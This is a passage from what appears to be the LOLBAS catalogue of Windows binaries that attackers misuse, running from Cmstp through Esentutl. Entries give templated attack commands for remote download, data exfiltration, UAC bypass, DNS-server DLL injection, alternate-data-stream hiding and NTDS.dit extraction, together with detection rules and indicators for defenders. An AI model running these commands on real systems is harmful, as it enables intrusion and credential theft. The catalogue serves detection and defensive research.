https://twitter.com/NickTyrer/status/958450014111633408\n - Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80\n - Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e\n - Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/\n - Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1\n - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp\n - Link: https://gist.github.com/ghosts621/ea8ad5b8a0904dd40b33f01f0e8285dc\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n - Person: Nick Tyrer\n Handle: '@NickTyrer'\n - Person: Naor Evgi\n Handle: '@ghosts621'\n" }, { "path": "yml/OSBinaries/Colorcpl.yml", "content": "---\nName: Colorcpl.exe\nDescription: Binary that handles color management\nAuthor: Arjan Onwezen\nCreated: 2023-06-26\nCommands:\n - Command: colorcpl {PATH}\n Description: Copies the referenced file to C:\\Windows\\System32\\spool\\drivers\\color\\.\n Usecase: Copies file(s) to a subfolder of a generally trusted folder (c:\\Windows\\System32), which can be used to hide files or make them blend into the environment.\n Category: Copy\n Privileges: User\n MitreID: T1036.005\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\colorcpl.exe\n - Path: C:\\Windows\\SysWOW64\\colorcpl.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml\n - IOC: colorcpl.exe writing files\nResources:\n - Link: https://twitter.com/eral4m/status/1480468728324231172\nAcknowledgement:\n - Person: eral4m\n Handle: '@eral4m'\n" }, { "path": "yml/OSBinaries/ComputerDefaults.yml", "content": "---\nName: ComputerDefaults.exe\nDescription: ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.\nAuthor: Eron Clarke\nCreated: 2024-09-24\nCommands:\n - Command: ComputerDefaults.exe\n Description: Upon execution, ComputerDefaults.exe checks two registry values at HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\open\\command; if these are set by an attacker, the set command will be executed as a high-integrity process without a UAC prompt being displayed to the user. See 'resources' for which registry keys/values to set.\n Usecase: Execute a binary or script as a high-integrity process without a UAC prompt.\n Category: UAC Bypass\n Privileges: User\n MitreID: T1548.002\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\ComputerDefaults.exe\n - Path: C:\\Windows\\SysWOW64\\ComputerDefaults.exe\nDetection:\n - IOC: Event ID 10\n - IOC: A binary or script spawned as a child process of ComputerDefaults.exe\n - IOC: Changes to HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\Shell\\open\\command\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml\nResources:\n - Link: https://gist.github.com/havoc3-3/812547525107bd138a1a839118a3a44b\nAcknowledgement:\n - Person: Eron Clarke\n" }, { "path": "yml/OSBinaries/ConfigSecurityPolicy.yml", "content": "---\nName: ConfigSecurityPolicy.exe\nDescription: Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.\nAuthor: Ialle Teixeira\nCreated: 2020-09-04\nCommands:\n - Command: ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}\n Description: Upload file, credentials or data exfiltration in general\n Usecase: Upload file\n Category: Upload\n Privileges: User\n MitreID: T1567\n OperatingSystem: Windows 10\n - Command: ConfigSecurityPolicy.exe {REMOTEURL}\n Description: It will download a remote payload and place it in INetCache.\n Usecase: Downloads payload from remote server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe\n - Path: C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml\n - IOC: ConfigSecurityPolicy storing data into alternate data streams.\n - IOC: Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.\n - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.\n - IOC: User Agent is \"MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"\nResources:\n - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-switch-workloads\n - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/workloads\n - Link: https://docs.microsoft.com/en-US/mem/configmgr/comanage/how-to-monitor\n - Link: https://twitter.com/NtSetDefault/status/1302589153570365440?s=20\nAcknowledgement:\n - Person: Ialle Teixeira\n Handle: '@NtSetDefault'\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OSBinaries/Conhost.yml", "content": "---\nName: Conhost.exe\nDescription: Console Window host\nAuthor: Wietze Beukema\nCreated: 2022-04-05\nCommands:\n - Command: conhost.exe {CMD}\n Description: Execute a command line with conhost.exe as parent process\n Usecase: Use conhost.exe as a proxy binary to evade defensive counter-measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\n - Command: conhost.exe --headless {CMD}\n Description: Execute a command line with conhost.exe as parent process\n Usecase: Specify --headless parameter to hide child process window (if applicable)\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: c:\\windows\\system32\\conhost.exe\nDetection:\n - IOC: conhost.exe spawning unexpected processes\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_conhost_susp_child_process.yml\nResources:\n - Link: https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/\n - Link: https://twitter.com/Wietze/status/1511397781159751680\n - Link: https://twitter.com/embee_research/status/1559410767564181504\n - Link: https://twitter.com/ankit_anubhav/status/1561683123816972288\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n - Person: Wietze\n Handle: '@wietze'\n" }, { "path": "yml/OSBinaries/Control.yml", "content": "---\nName: Control.exe\nDescription: Binary used to launch controlpanel items in Windows\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: control.exe {PATH_ABSOLUTE}:evil.dll\n Description: Execute evil.dll which is stored in an Alternate Data Stream (ADS).\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1218.002\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Command: control.exe {PATH_ABSOLUTE:.cpl}\n Description: Execute .cpl file. A CPL is a DLL file with CPlApplet export function)\n Usecase: Use to execute code and bypass application whitelisting\n Category: Execute\n Privileges: User\n MitreID: T1218.002\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Windows\\System32\\control.exe\n - Path: C:\\Windows\\SysWOW64\\control.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules-emerging-threats/2021/Exploits/CVE-2021-40444/proc_creation_win_exploit_cve_2021_40444.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_control_dll_load.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/0875c1e4c4370ab9fbf453c8160bb5abc8ad95e7/rules/windows/defense_evasion_execution_control_panel_suspicious_args.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml\n - IOC: Control.exe executing files from alternate data streams\n - IOC: Control.exe executing library file without cpl extension\n - IOC: Suspicious network connections from control.exe\nResources:\n - Link: https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/\n - Link: https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/\n - Link: https://twitter.com/bohops/status/955659561008017409\n - Link: https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items\n - Link: https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSBinaries/Csc.yml", "content": "---\nName: Csc.exe\nDescription: Binary file used by .NET Framework to compile C# code\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: csc.exe -out:{PATH:.exe} {PATH:.cs}\n Description: Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to the specified .exe path.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: csc -target:library {PATH:.cs}\n Description: Use csc.exe to compile C# code, targeting the .NET Framework, stored in the specified .cs file and output the compiled version to a DLL file with the same name.\n Usecase: Compile attacker code on system. Bypass defensive counter measures.\n Category: Compile\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Csc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\csc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_csc_susp_folder.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_dotnet_compiler_parent_process.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_execution_msbuild_started_unusal_process.toml\n - IOC: Csc.exe should normally not run as System account unless it is used for development.\nResources:\n - Link: https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/\n" }, { "path": "yml/OSBinaries/Cscript.yml", "content": "---\nName: Cscript.exe\nDescription: Binary used to execute scripts in Windows\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs\n Description: Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: WSH\nFull_Path:\n - Path: C:\\Windows\\System32\\cscript.exe\n - Path: C:\\Windows\\SysWOW64\\cscript.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/command_and_control_remote_file_copy_scripts.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Splunk: https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/wscript_or_cscript_suspicious_child_process.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Cscript.exe executing files from alternate data streams\n - IOC: DotNet CLR libraries loaded into cscript.exe\n - IOC: DotNet CLR Usage Log - cscript.exe.log\nResources:\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/\nAcknowledgement:\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/CustomShellHost.yml", "content": "---\nName: CustomShellHost.exe\nDescription: A host process that is used by custom shells when using Windows in Kiosk mode.\nAuthor: Wietze Beukema\nCreated: 2021-11-14\nCommands:\n - Command: CustomShellHost.exe\n Description: Executes explorer.exe (with command-line argument /NoShellRegistrationCheck) if present in the current working folder.\n Usecase: Can be used to evade defensive counter-measures\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\CustomShellHost.exe\nDetection:\n - IOC: CustomShellHost.exe is unlikely to run on normal workstations\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml\nResources:\n - Link: https://twitter.com/YoSignals/status/1381353520088113154\n - Link: https://docs.microsoft.com/en-us/windows/configuration/kiosk-shelllauncher\nAcknowledgement:\n - Person: John Carroll\n Handle: '@YoSignals'\n" }, { "path": "yml/OSBinaries/DataSvcUtil.yml", "content": "---\nName: DataSvcUtil.exe\nDescription: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.\nAuthor: Ialle Teixeira\nCreated: 2020-12-01\nCommands:\n - Command: DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}\n Description: Upload file, credentials or data exfiltration in general\n Usecase: Upload file\n Category: Upload\n Privileges: User\n MitreID: T1567\n OperatingSystem: Windows 10\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe\nCode_Sample:\n - Code: https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml\n - IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.\n - IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.\n - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.\nResources:\n - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe\n - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services\n - Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services\nAcknowledgement:\n - Person: Ialle Teixeira\n Handle: '@NtSetDefault'\n" }, { "path": "yml/OSBinaries/Desktopimgdownldr.yml", "content": "---\nName: Desktopimgdownldr.exe\nDescription: Windows binary used to configure lockscreen/desktop image\nAuthor: Gal Kristal\nCreated: 2020-06-28\nCommands:\n - Command: set \"SYSTEMROOT=C:\\Windows\\Temp\" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr\n Description: Downloads the file and sets it as the computer's lockscreen\n Usecase: Download arbitrary files from a web server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: c:\\windows\\system32\\desktopimgdownldr.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml\n - IOC: desktopimgdownldr.exe that creates non-image file\n - IOC: Change of HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP\\LockScreenImageUrl\nResources:\n - Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\nAcknowledgement:\n - Person: Gal Kristal\n Handle: '@gal_kristal'\n" }, { "path": "yml/OSBinaries/DeviceCredentialDeployment.yml", "content": "---\nName: DeviceCredentialDeployment.exe\nDescription: Device Credential Deployment\nAuthor: Elliot Killick\nCreated: 2021-08-16\nCommands:\n - Command: DeviceCredentialDeployment\n Description: Grab the console window handle and set it to hidden\n Usecase: Can be used to stealthily run a console application (e.g. cmd.exe) in the background\n Category: Conceal\n Privileges: User\n MitreID: T1564\n OperatingSystem: Windows 10\nFull_Path:\n - Path: C:\\Windows\\System32\\DeviceCredentialDeployment.exe\nDetection:\n - IOC: DeviceCredentialDeployment.exe should not be run on a normal workstation\n - Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/Dfsvc.yml", "content": "---\nName: Dfsvc.exe\nDescription: ClickOnce engine in Windows used by .NET\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}\n Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)\n Usecase: Use binary to bypass Application whitelisting\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127.002\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: ClickOnce\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Dfsvc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml\nResources:\n - Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf\n - Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n" }, { "path": "yml/OSBinaries/Diantz.yml", "content": "---\nName: Diantz.exe\nDescription: Binary that package existing files into a cabinet (.cab) file\nAuthor: Tamir Yehuda\nCreated: 2020-08-08\nCommands:\n - Command: diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab\n Description: Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.\n Usecase: Hide data compressed into an Alternate Data Stream.\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.\n Tags:\n - Type: Compression\n - Command: diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}\n Description: Download and compress a remote file and store it in a CAB file on local machine.\n Usecase: Download and compress into a cab file.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019\n Tags:\n - Type: Compression\n - Command: diantz /f {PATH:.ddf}\n Description: Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.\n Usecase: Bypass command-line based detections\n Category: Execute\n Privileges: User\n MitreID: T1036\n OperatingSystem: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019\n Tags:\n - Type: Compression\nFull_Path:\n - Path: c:\\windows\\system32\\diantz.exe\n - Path: c:\\windows\\syswow64\\diantz.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml\n - IOC: diantz storing data into alternate data streams.\n - IOC: diantz getting a file from a remote machine or the internet.\nResources:\n - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz\n - Link: https://ss64.com/nt/makecab-directives.html\nAcknowledgement:\n - Person: Tamir Yehuda\n Handle: '@tim8288'\n - Person: Hai Vaknin\n Handle: '@vakninhai'\n" }, { "path": "yml/OSBinaries/Diskshadow.yml", "content": "---\nName: Diskshadow.exe\nDescription: Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: diskshadow.exe /s {PATH:.txt}\n Description: Execute commands using diskshadow.exe from a prepared diskshadow script.\n Usecase: Use diskshadow to exfiltrate data from VSS such as NTDS.dit\n Category: Dump\n Privileges: User\n MitreID: T1003.003\n OperatingSystem: Windows server\n Tags:\n - Execute: CMD\n - Command: diskshadow> exec {PATH:.exe}\n Description: Execute commands using diskshadow.exe to spawn child process\n Usecase: Use diskshadow to bypass defensive counter measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows server\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\diskshadow.exe\n - Path: C:\\Windows\\SysWOW64\\diskshadow.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diskshadow.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_deletion.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\n - IOC: Child process from diskshadow.exe\nResources:\n - Link: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OSBinaries/Dnscmd.yml", "content": "---\nName: Dnscmd.exe\nDescription: A command-line interface for managing DNS servers\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}\n Description: Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.\n Usecase: Remotely inject dll to dns server\n Category: Execute\n Privileges: DNS admin\n MitreID: T1543.003\n OperatingSystem: Windows server\n Tags:\n - Execute: DLL\n - Execute: Remote\nFull_Path:\n - Path: C:\\Windows\\System32\\Dnscmd.exe\n - Path: C:\\Windows\\SysWOW64\\Dnscmd.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml\n - IOC: Dnscmd.exe loading dll from UNC/arbitrary path\nResources:\n - Link: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\n - Link: https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html\n - Link: https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp\n - Link: https://twitter.com/Hexacorn/status/994000792628719618\n - Link: http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html\nAcknowledgement:\n - Person: Shay Ber\n - Person: Dimitrios Slamaris\n Handle: '@dim0x69'\n - Person: Nikhil SamratAshok\n Handle: '@nikhil_mitt'\n" }, { "path": "yml/OSBinaries/Esentutl.yml", "content": "---\nName: Esentutl.exe\nDescription: Binary for working with Microsoft Joint Engine Technology (JET) database\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o\n Description: Copies the source VBS file to the destination VBS file.\n Usecase: Copies files from A to B\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o\n Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.\n Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o\n Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.\n Usecase: Extract hidden file within alternate data streams\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o\n Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.\n Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o\n Description: Copies the source EXE to the destination EXE file\n Usecase: Use to copy files from one unc path to another\n Category: Download\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: esentutl.exe /y /vss c:\\windows\\ntds\\ntds.dit /d {PATH_ABSOLUTE:.dit}\n Description: Copies a (locked) file using Volume Shadow Copy\n Usecase: Copy/extract a locked file such as the AD Database\n Category: Copy\n Privileges: Admin\n MitreID: T1003.003\n OperatingSystem: Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server\nFull_Path:\n - Path: C:\\Windows\\System32\\esentutl.exe\n - Path: C:\\Windows\\SysWOW64\\esentutl.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_params.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml\nResources:\n - 